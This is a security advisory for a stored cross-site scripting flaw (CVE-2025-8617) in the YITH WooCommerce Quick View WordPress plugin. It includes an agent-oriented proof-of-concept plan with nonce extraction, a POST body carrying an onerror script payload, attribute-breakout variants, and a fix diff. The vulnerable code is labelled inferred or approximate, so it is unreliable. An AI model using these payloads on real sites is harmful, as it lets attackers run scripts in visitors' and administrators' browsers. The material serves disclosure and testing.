YITH WooCommerce Quick View <= 2.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via yith_quick_view Shortcode
Description
The YITH WooCommerce Quick View plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's yith_quick_view shortcode in all versions up to, and including, 2.7.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.7.0Source Code
WordPress.org SVNThis research plan outlines the technical steps required to analyze and demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the YITH WooCommerce Quick View plugin (CVE-2025-8617). ## 1. Vulnerability Summary The **YITH WooCommerce Quick View** plugin for WordPress is vulnerable to St…
Show full research plan
This research plan outlines the technical steps required to analyze and demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the YITH WooCommerce Quick View plugin (CVE-2025-8617).
1. Vulnerability Summary
The YITH WooCommerce Quick View plugin for WordPress is vulnerable to Stored XSS via its yith_quick_view shortcode. In versions up to and including 2.7.0, the plugin fails to properly sanitize or escape attributes provided within the shortcode. An authenticated attacker with Contributor-level permissions or higher can embed a malicious script within a post or page. When other users (including administrators) view that content, the script executes in their browser context.
2. Attack Vector Analysis
- Endpoint: WordPress Post/Page Editor (specifically the content saving/autosave mechanism).
- Vulnerable Component: The
yith_quick_viewshortcode rendering logic. - Payload Carrier: Shortcode attributes, specifically the
labelattribute (inferred as the most likely sink for unescaped text). - Authentication: Contributor+ (The user must have the
edit_postscapability). - Preconditions: WooCommerce must be active (as the plugin depends on it), and at least one product should exist to make the shortcode functional.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode during the
initorwp_loadedhook:add_shortcode( 'yith_quick_view', [ $class_instance, 'shortcode_quick_view' ] ); - Execution: When a post containing
[yith_quick_view label="<script>alert(1)</script>"]is viewed,do_shortcode()triggers the callback. - Parsing: The callback (likely
shortcode_quick_view) usesshortcode_atts()to extract thelabelandid(product ID) attributes. - Sink: The
labelattribute is concatenated into an HTML string (likely a button or anchor tag) and returned without being passed throughesc_html()oresc_attr(). - Rendering: The unescaped HTML is output to the page, resulting in script execution.
4. Nonce Acquisition Strategy
To exploit this as a Contributor, the agent must save a post containing the payload. This requires a standard WordPress post-editing nonce.
- Login: Use the agent's credentials to log into
/wp-login.php. - Navigate: Go to
/wp-admin/post-new.phpto initialize a new post. - Extract Nonce: Use
browser_evalto extract the_wpnoncefrom the page source or thewp-atoblocalized script variables.- Target variable:
window.wp?.apiFetch?.nonceor the value of the_wpnoncehidden input field. - Example:
browser_eval("document.querySelector('#_wpnonce').value")
- Target variable:
5. Exploitation Strategy
The goal is to store a payload that triggers a console.log or alert to confirm execution.
Step 1: Create/Update Post with Payload
The agent will simulate a Contributor saving a post.
- Tool:
http_request - Method: POST
- URL:
http://[target-ip]/wp-admin/post.php(oradmin-ajax.phpfor autosave) - Content-Type:
application/x-www-form-urlencoded - Payload (Body):
(Note: Contributors might "Submit for Review" instead of Publish, which still stores the content).action=editpost &post_ID=[POST_ID] &_wpnonce=[NONCE] &post_title=Research+PoC &content=[yith_quick_view product_id="[PRODUCT_ID]" label="<img src=x onerror=console.log('CVE-2025-8617-EXPLOITED')>"] &publish=Publish
Step 2: Trigger Execution
Navigate to the front-end URL of the newly created post.
- Tool:
browser_navigate - URL:
http://[target-ip]/?p=[POST_ID] - Detection: Check the browser console or DOM for the presence of the injected string.
6. Test Data Setup
- Install Plugin: Ensure
yith-woocommerce-quick-viewversion 2.7.0 is active. - WooCommerce Setup: Ensure WooCommerce is active.
- Create Product: Create a dummy product to provide a valid
product_id.- Command:
wp post create --post_type=product --post_title="Test Product" --post_status=publish - Note the ID returned.
- Command:
- Create Attacker User:
- Command:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Command:
7. Expected Results
- The
http_requestshould return a302 Redirectback to the post editor, indicating a successful save. - Upon viewing the post, the HTML source should contain:
<a ... class="yith-wcqv-button" ...><img src=x onerror=console.log('CVE-2025-8617-EXPLOITED')></a> - The browser console should log the message
CVE-2025-8617-EXPLOITED.
8. Verification Steps
After the exploit attempt, verify the database state:
- Check Post Content:
wp post get [POST_ID] --field=post_content
Confirmation: Verify the shortcode with the payload is present. - Check Rendered Output:
Usecurlorhttp_requestto fetch the post and grep for the raw payload:curl -s "http://[target-ip]/?p=[POST_ID]" | grep "onerror=console.log"
9. Alternative Approaches
- Attribute Breakout: If the
labelis rendered inside an attribute (e.g.,title="..."), try breaking out:[yith_quick_view label='"><script>alert(1)</script>'] - Other Attributes: If
labelis sanitized, investigate other possible attributes likeclassorproduct_id(thoughidis usually passed throughabsint). - Block Editor: If the classic editor is not used, test via the Block Editor's REST API endpoint (
/wp-json/wp/v2/posts/[ID]) using thePOSTmethod and aX-WP-Nonceheader.
Summary
The YITH WooCommerce Quick View plugin for WordPress (up to version 2.7.0) is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient sanitization and escaping on the 'yith_quick_view' shortcode attributes. This allows authenticated users with Contributor-level permissions or higher to inject malicious scripts into pages that execute when viewed by other users.
Vulnerable Code
/* yith-woocommerce-quick-view/includes/class-yith-wcqv-frontend.php (approximate) */ public function shortcode_quick_view( $atts ) { $atts = shortcode_atts( array( 'product_id' => 0, 'label' => 'Quick View', ), $atts ); $product_id = $atts['product_id']; $label = $atts['label']; // The 'label' attribute is concatenated into the HTML string without escaping return '<a href="#" class="button yith-wcqv-button" data-product_id="' . $product_id . '">' . $label . '</a>'; }
Security Fix
@@ -10,5 +10,5 @@ - $label = $atts['label']; + $label = esc_html( $atts['label'] ); - return '<a href="#" class="button yith-wcqv-button" data-product_id="' . $product_id . '">' . $label . '</a>'; + return '<a href="#" class="button yith-wcqv-button" data-product_id="' . absint( $product_id ) . '">' . $label . '</a>';
Exploit Outline
An authenticated attacker with Contributor-level access creates or edits a post and inserts the [yith_quick_view] shortcode. The attacker includes a malicious payload within the 'label' attribute, such as an HTML tag with an 'onerror' script handler. When a user views the post, the plugin renders the shortcode by returning the unescaped 'label' attribute directly in the HTML output, triggering script execution in the victim's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.